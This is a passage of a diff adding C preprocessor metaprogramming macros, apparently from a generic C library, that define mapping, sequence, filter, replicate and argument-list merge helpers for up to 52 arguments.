M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) 
+#define M_CROSSI_MAP2_50(...) M_CROSSI_MAP2_50b(__VA_ARGS__)
+#define M_CROSSI_MAP2_50b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a50), M_ID blist) 
+#define M_CROSSI_MAP2_51(...) M_CROSSI_MAP2_51b(__VA_ARGS__)
+#define M_CROSSI_MAP2_51b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a50), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a51), M_ID blist) 
+#define M_CROSSI_MAP2_52(...) M_CROSSI_MAP2_52b(__VA_ARGS__)
+#define M_CROSSI_MAP2_52b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a50), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a51), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a52), M_ID blist) 
+
+/* Wrapper function that unpacks the argument to call the real macro with the right arguments */
+#define M_CROSSI_MAP2_F_A(d, b)         M_CROSSI_MAP2_F_B(M_ID d, b)
+#define M_CROSSI_MAP2_F_B(...)          M_CROSSI_MAP2_F_C(__VA_ARGS__)
+#define M_CROSSI_MAP2_F_C(f, d, a1, b1) f(d, a1, b1)
+
+
+/* Sequence of numbers
+   Example:
+    M_SEQ(init,end)==>init, init+1, ...end
+    M_MAP(f, M_SEQ(init, end)) ==> f(init) f(init+1) .... f(end)
+    M_MAP2(f, d, M_SEQ(init, end))
+*/
+#define M_SEQ(init, end) M_MID_ARGS(init, M_INC(M_SUB(end, init)), 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52)
+
+/* Replicate the value 'N' times */
+#define M_REPLICATE(N, value)                                                 \
+  M_MAP2(M_RET_ARG1, value, M_SEQ(1, N))
+
+/* Replicate the value 'N' times, separated by commas */
+#define M_REPLICATE_C(N, value)                                               \
+  M_MAP2_C(M_RET_ARG1, value, M_SEQ(1, N))
+
+/* Filter the elements of the list so that only the elements
+   that match the function f are returned.
+   f takes as argument (extra, item) and shall return 0 or 1. */
+#define M_FILTER(f, extra, ...)                                               \
+  M_MAP2( M_FILTER_00, (f, extra), __VA_ARGS__)
+
+/* Filter the elements of the list so that only the elements (separated by commas)
+   that match the function f are returned.
+   f takes as argument (extra, item) and shall return 0 or 1. */
+#define M_FILTER_C(f, extra, ...)                                             \
+  M_REMOVE_PARENTHESIS (M_REDUCE2(M_FILTER_00, M_CAT_ARGLIST, (f, extra), __VA_ARGS__) )
+
+/* d is (filter_function, extra_value) item is the element ot test */
+#define M_FILTER_00(d, item)                                                  \
+  M_IF(M_PAIR_1 d(M_PAIR_2 d, item))(item, )
+
+
+/* Return the HEAD element of a VA_ARGS */
+#define M_HEAD(x, ...)      x
+
+/* Return the second HEAD element of a VA_ARGS */
+#define M_HEAD_2(x, y, ...) y
+
+/* Return the tail sublist of the VA_ARGS (removing the HEAD) */
+#define M_TAIL(x, ...)      __VA_ARGS__
+
+/* Return the tail sublist of the sublist of the VA_ARGS (removing the 2 first elements) */
+#define M_TAIL_2(x, y, ...) __VA_ARGS__
+
+/* Return the tail sublist of the sublist of the VA_ARGS (removing the 3 first elements) */
+#define M_TAIL_3(x, y, z, ...) __VA_ARGS__
+
+
+/* Concatenate two arglists 'a' and 'b',
+   handling the case of empty arglist
+   handling the cases where the arguments are not arglist.
+   Always return an arglist within parenthesis if it concatenates
+   (internal macro)
+*/
+#define M_CAT_ARGLIST(a, b)                                                   \
+  M_IF_EMPTY(a)(b, M_IF_EMPTY(b)(a,( M_REMOVE_PARENTHESIS (a) , M_REMOVE_PARENTHESIS (b))))
+
+
+/* Merge two arglists 'a' and 'b'
+   (a1, a2, a3) and (b1, b2, b3) ==> ( (a1, b1) , (b1, b2), (a3, b3) )
+   They shall be non empty and of the same size.
+   (internal macro)
+   Generated by:
+    for i in $(seq  52) ; do printf "#define M_MERGE_ARGLIST_%d_%d(" $i $i ; for j in $(seq 1 $i) ; do printf "a%d, " $j ; done ; for j in $(seq 1 $i) ; do printf "b%d" $j ; if test $i != $j ; then printf ", " ; fi ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "(a%d, b%d) " $j $j ; if (test $i != $j ) ; then printf ", " ; fi ; done ; printf "\n" ; done
+*/
+#define M_MERGE_ARGLIST(a, b) ( M_APPLY( M_C4(M_MERGE_ARGLIST_, M_NARGS a, _, M_NARGS b), M_MERGE_ARGLIST_ID a, M_MERGE_ARGLIST_ID b) )
+#define M_MERGE_ARGLIST_ID(...)   __VA_ARGS__
+#define M_MERGE_ARGLIST_1_1(a1, b1) (a1, b1) 
+#define M_MERGE_ARGLIST_2_2(a1, a2, b1, b2) (a1, b1) , (a2, b2) 
+#define M_MERGE_ARGLIST_3_3(a1, a2, a3, b1, b2, b3) (a1, b1) , (a2, b2) , (a3, b3) 
+#define M_MERGE_ARGLIST_4_4(a1, a2, a3, a4, b1, b2, b3, b4) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) 
+#define M_MERGE_ARGLIST_5_5(a1, a2, a3, a4, a5, b1, b2, b3, b4, b5) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) 
+#define M_MERGE_ARGLIST_6_6(a1, a2, a3, a4, a5, a6, b1, b2, b3, b4, b5, b6) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) 
+#define M_MERGE_ARGLIST_7_7(a1, a2, a3, a4, a5, a6, a7, b1, b2, b3, b4, b5, b6, b7) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) 
+#define M_MERGE_ARGLIST_8_8(a1, a2, a3, a4, a5, a6, a7, a8, b1, b2, b3, b4, b5, b6, b7, b8) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) 
+#define M_MERGE_ARGLIST_9_9(a1, a2, a3, a4, a5, a6, a7, a8, a9, b1, b2, b3, b4, b5, b6, b7, b8, b9) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) 
+#define M_MERGE_ARGLIST_10_10(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) 
+#define M_MERGE_ARGLIST_11_11(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) 
+#define M_MERGE_ARGLIST_12_12(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) 
+#define M_MERGE_ARGLIST_13_13(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) 
+#define M_MERGE_ARGLIST_14_14(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) 
+#define M_MERGE_ARGLIST_15_15(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) 
+#define M_MERGE_ARGLIST_16_16(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) 
+#define M_MERGE_ARGLIST_17_17(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) 
+#define M_MERGE_ARGLIST_18_18(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) 
+#define M_MERGE_ARGLIST_19_19(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) 
+#define M_MERGE_ARGLIST_20_20(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) 
+#define M_MERGE_ARGLIST_21_21(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) 
+#define M_MERGE_ARGLIST_22_22(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) 
+#define M_MERGE_ARGLIST_23_23(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) 
+#define M_MERGE_ARGLIST_24_24(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) 
+#define M_MERGE_ARGLIST_25_25(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) 
+#define M_MERGE_ARGLIST_26_26(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) 
